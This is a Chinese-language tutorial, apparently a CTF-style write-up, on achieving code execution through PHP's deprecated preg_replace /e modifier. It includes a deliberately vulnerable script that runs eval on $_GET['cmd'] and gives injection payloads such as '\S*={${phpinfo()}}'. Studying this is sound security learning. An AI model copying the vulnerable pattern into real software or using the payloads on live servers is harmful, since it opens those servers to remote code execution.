利用preg_replace与正则表达式实现任意代码执行

news/2024/7/16 9:08:26 标签: android, android studio, ide, php, web安全, 安全, 正则表达式

下面将探讨 preg_replace /e 模式下的代码执行问题, 其中包括 preg_replace 函数的执行过程分析、正则表达式分析、漏洞触发分析,当中的坑非常非常多,相信看完你也能学到很多

下面就是这次要进行实验的代码:

php"><?php
​
function complex($re, $str) {
    return preg_replace(  
    //preg_replace(搜索的模式,用于替换的字符串或字符串数组,要进行搜索和替换的字符串或字符串数组。 )
        '/(' . $re . ')/ei', //搜索的模式
    //这里的修饰符i:表示忽略大小写,e:当第二个replace匹配到第一个代码是什么就会执行什么
        'strtolower("\\1")',//
        $str  //要进行搜索的字符串,这里的str的是用户使用GET传进来的
    );
}
​
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n"; //打印
}
​
function getFlag(){
    @eval($_GET['cmd']);
}
//在php中get传参过程中会把.和[]转换为_

这里的大致意思就是允许用户使用GET方式传入一个值,该值会传入complex函数,然后complex函数中return语句返回的值用preg_replace进行了处理

preg_replace的第一个re参数就是我们输入的匹配模式 ,我们使用GET传参来输入

preg_replace的第二个参数用于替换的字符串, \\1表示匹配出第一个分组的正则(即$re,也就是我们使用GET传入的),把输入的值转为小写,然后用于替换

preg_replace的第一个参数是要进行所有的字符串,这个str也是我们可以使用GET传参控制的

preg_replace 使用了 /e 模式,导致了代码可以被执行

我们都知道 preg_replace 在匹配到正则符号后就会被替换字符串, 也就是第二个参数 'strtolower("\1")' 所代表的的内容将被执行

那是如何被执行的呢?

我们可以在php官方手册上查看preg_replace的用法:

php"><?php
$string = 'April 15, 2003';
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,$3';
echo preg_replace($pattern, $replacement, $string);
?> 

 

根据结果我们知道pre_replace的几个参数大概是这样的含义:preg_replace(搜索的模式,用于替换的字符串或字符串数组,要进行搜索和替换的字符串或字符串数组。 )

关键词备注:

php">pattern
要搜索的模式。可以使一个字符串或字符串数组。 
可以使用一些PCRE修饰符。 

replacement
用于替换的字符串或字符串数组。
replacement中可以包含后向引用\\n 或$n,语法上首选后者。 每
当在替换模式下工作并且后向引用后面紧跟着需要是另外一个数字(比如:在一个匹配模式后紧接着增加一个原文数字),不能使用\\1这样的语法来描述后向引用。
当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即:'、"、 \ 和 NULL) 然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误(比如: 'strlen(\'$1\')+strlen("$2")')。

subject
要进行搜索和替换的字符串或字符串数组。 
如果subject是一个数组,搜索和替换回在subject 的每一个元素上进行, 并且返回值也会是一个数组。 
​

第一个点

上面假如替换以后是 eval(‘strtolower(“\1”)’) 其中 \1 其实转义以后就是 \1 ,而 \1 在正则表达式中有自己的含义

所以这里的 \1 实际上指定的是第一个子匹配项

官方 payload 为 /?.={${phpinfo()}} ,即 GET 方式传入的参数名为 /?. ,值为 {${phpinfo()}}

php">原先的语句: preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

但是有一点要注意,上面的语句如果直接写在程序里是可以被执行的,但我们是通过GET传参 (.*) 的方式传入的 我们都知道PHP中命名规则是没有 (. )的,而且URl对弈一些非法字符是会被替换成 _ 的。

所以也就导致正则匹配错误,无法被执行。

URL中会将.被转义成_,所以.无法使用.匹配

第二个点

我们要让代码可以被执行,就是换一个正则表达式让其能够匹配到 {${phpinfo()}}

这里又不得不说说 \S 和 \s 的区别了,

[\s]表示,只要出现空白就匹配

[\S]表示,非空白就匹配

那么它们的组合[\s\S],表示所有的都匹配

"."是不会匹配换行的,所有出现有换行匹配的时候,就习惯使用[\s\S]来完全通配模式。

那么我们就可以利用\S来尝试

如果像下面这样的,传入的\S*会匹配所有非空白字符,后面的phpinfo移动会被匹配到,就可以执行

php">\S*={${phpinfo()}})

这里能够执行成功就是因为我们传入的是:\S*,这个正则表达式会被匹配上phpinfo ,然后phpinfo传入php中被执行

第三个点

我们为什么一直在构造 {${phpinfo()}} 的一个形式才能执行 phpinfo()函数呢? 实际上这是利用了 php可变变量 的原因,在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 {${phpinfo()}} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} , (phpinfo()成功执行返回true)。

如果这个理解了,你就能明白下面这个问题了:

有时候一个变量是可以很方便的,就是说,一个变量的变量名可以动态的设置和使用,一个普通的变量可以通过声明来设置,比如:

php"><?php
$a = "hello";
echo $a;

 

一个变量获取了一个普通变量的值作为这个可变变量的变量名,如果使用两个$$,就可以作为一个可变变量的变量了,比如:

php"><?php
$a = "hello";
$$a = "world";
echo $a;
echo ${$a};

此时这两个变量都被定义了,$a中是"hello" $$a中是"word"

 

可以看到,这里打印的结果和我们想的是一样的

那么再来看看下面的这个例子:

php">var_dump(phpinfo()); // 结果:布尔 true
​
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
​
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
​
var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
​
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
​
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串   

上面的案例还可以直接调用 getFlag() 函数,给 cmd 赋值恶意代码达到被代码执行的效果

那么我们也可以使用getFlag()函数来尝试

php">?\S*=${getFlag()}&cmd=phpinfo();

 

可以看到,利用getFlag()函数也可以成功解析phpinfo()

注:在php中''无法解析变量,""才可以解析变量

preg_replace /e 的这种模式在 php7.3以后是已经被取消了的


http://www.niftyadmin.cn/n/5186390.html

相关文章

可以写进简历的软件测试项目实战经验(包含电商、银行、app等)

前言&#xff1a; 今天给大家带来几个软件测试项目的实战总结及经验&#xff0c;适合想自学、转行或者面试的朋友&#xff0c;可以写进简历里的那种哦。 1、项目名称: 家电购 项目描述&#xff1a; “家电购”商城系统是基于 web 浏览器的电子商务系统&#xff0c;通过互联网…

操作系统OS/进程与线程/线程

进程和线程 进程 进程实体&#xff08;进程映像&#xff09;由PCB、程序段和数据段组成&#xff0c;其中PCB是进程存在的唯一标志。 线程 线程最直接的理解就是“轻量级进程”&#xff0c;它是一个基本的CPU执行单元&#xff0c;包含CPU现场(状态)&#xff0c;也是程序执行…

【网络空间实战攻防能力训练】渗透测试第二周(漏洞利用)

【网络空间实战攻防能力训练】渗透测试第二周(漏洞利用) 0x01 蓝屏攻击 MS12_0201.搜索对应活跃主机win7蓝屏漏洞端口2. Nessus新建名为Advanced Scan策略, 执行漏洞扫描3.Metasploit 漏洞利用(分别使用msfconsole和armitage)3.1 msfconsole3.2 armitage0x02 使用社会工程学…

Windows环境VSCode配置OpenCV-项目配置(二)

修改c_cpp_properties.json {"configurations": [{"name": "windows-gcc-x64","includePath": ["${workspaceFolder}/**","D:/mingw64/mingw64/include","D:/openCV_win/build/install/include","…

KVM网络环境下vlan和trunk的理解

vmware exsi 平台&#xff0c;虚拟交换机管理界面的上行链路是什么意思 VMware ESXi中的虚拟交换机管理界面中的“上行链路”&#xff08;uplinks&#xff09;是指虚拟交换机连接到物理网络的物理网络适配器。在ESXi中&#xff0c;虚拟交换机&#xff08;vSwitch&#xff09;用…

【每日一题】2760. 最长奇偶子数组-2023.11.16

题目&#xff1a; 2760. 最长奇偶子数组 给你一个下标从 0 开始的整数数组 nums 和一个整数 threshold 。 请你从 nums 的子数组中找出以下标 l 开头、下标 r 结尾 (0 < l < r < nums.length) 且满足以下条件的 最长子数组 &#xff1a; nums[l] % 2 0对于范围 […

uniapp打包安卓app获取包名

uniapp打包安卓app获取包名的两种方式 1.uniapp云打包 这上面直接可以看到包名&#xff0c;可以修改&#xff0c;也可以在 manifest.json 文件中配置修改 package配置的就是包名&#xff0c;要确保唯一性 2.使用aapt工具获取 1.下载aapt工具&#xff0c;然后添加到环境变量…

AI变现之数字人工具库账号引流

信息差无处不在&#xff0c;AI 发展到今天虽然工具和技术都日趋成熟&#xff0c;但是在国内普及率还不是很高&#xff0c;对于很多普通人估计也就听过 Chatgpt&#xff0c;MJ&#xff0c;SD 等 AI 工具的名词&#xff0c;但是没有真正的使用过&#xff0c;而使用 AI 数字人制作…